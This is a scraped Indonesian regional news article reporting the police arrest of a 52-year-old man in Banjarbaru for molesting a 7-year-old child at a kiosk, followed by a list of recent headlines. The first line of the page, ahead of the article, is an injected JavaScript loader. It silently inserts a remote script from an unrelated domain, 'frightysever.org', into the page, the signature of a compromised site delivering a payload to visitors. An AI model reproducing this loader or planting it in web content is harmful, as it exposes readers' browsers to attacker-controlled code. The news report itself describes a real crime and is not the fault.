(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

‘Mainkan’ Tangan ke Dalam Celana Bocah Dua Kali, Pria 52 Tahun Ngakunya Khilaf


KANALKALIMANTAN.COM, BANJARBARU – Polsek Banjarbaru Barat menangkap seorang lelaki berinisial B (52) warga jalan A Yani jurusan Pelaihari, atas dugaan melakukan pencabulan terhadap anak di bawah umur.

Aksi amoral yang dilakukan B itu terjadi pada Kamis (18/2/2021) kemarin. Menurut informasi, ia mencabuli seorang anak berusia 7 tahun di sebuah kios, di Jalan A Yani jurusan Pelaihari, Kecamatan Liang Anggang, Kota Banjarbaru.

Kapolsek Banjarbaru Barat, Kompol Andri Hutagalung, membeberkan kronologi kejadian, dimana saat itu korban sedang ditinggal sendiri di sebuah kios, lantaran orangtuanya mencari persediaan gas LPG. Namun betapa terkejutnya orangtua korban saat kembali ke kios, buah hatinya sudah dalam keadaan menangis dan tampak terlihat shock.

“Berdasarkan pengakuan korban kepada orangtuanya, seorang lelaki mampir ke kios. Kemudian lelaki tersebut mencabuli korban, dengan memasukan tangannya ke celana korban. Korban menangis dan lari masuk ke WC,” cerita Kapolsek, Jumat (19/2/2021).

Belum cukup sampai di situ. Korban yang awalnya mengira pelaku sudah pergi memutuskan untuk keluar dari WC. Nahasnya, pelaku masih menunggu dan kemudian melakukan perbuatan yang sama terhadap korban.

“Pelaku kembali memasukan tangannya ke celana korban. Setelah itu pelaku langsung pergi dan sempat berucap kepada korban terima kasih. Atas kejadian ini korban mengalami trauma,” beber Kompol Andri.

Mendapati laporan adanya kasus pencabulan anak di bawah umur, pihak kepolisian memulai penyelidikan. Tak butuh lama hingga akhirnya petugas mendapati informasi bahwa pelaku sedang berada di rumahnya. Pelaku berhasil diringkus tanpa perlawanan apapun.

Kapolsek Banjarbaru Barat mengungkapkan bahwa dari hasil interogasi, pelaku mengakui khilaf telah melakukan aksi cabulnya tersebut. “Pelaku merasa khilaf karena melihat korban sendirian di kios. Pelaku juga mengakui melakukan hal tersebut sebanyak 2 kali kepada korban,” tuntas Kompol Andri. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 


Al Ghifari

Recent Posts

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

8 menit ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

18 menit ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

2 jam ago

Pj Bupati Kapuas Lepas Peserta Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melepas pawai budaya, Jumat (26/4/2024) sore.… Read More

3 jam ago

Baliho Curhat Korban Investasi Bodong di Banjarmasin Diturunkan

KANALKALIMANTAN.COM, BANJARMASIN - Baliho berisi curhatan para korban FN tersangka kasus investasi bodong solar yang… Read More

3 jam ago

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

7 jam ago

This website uses cookies.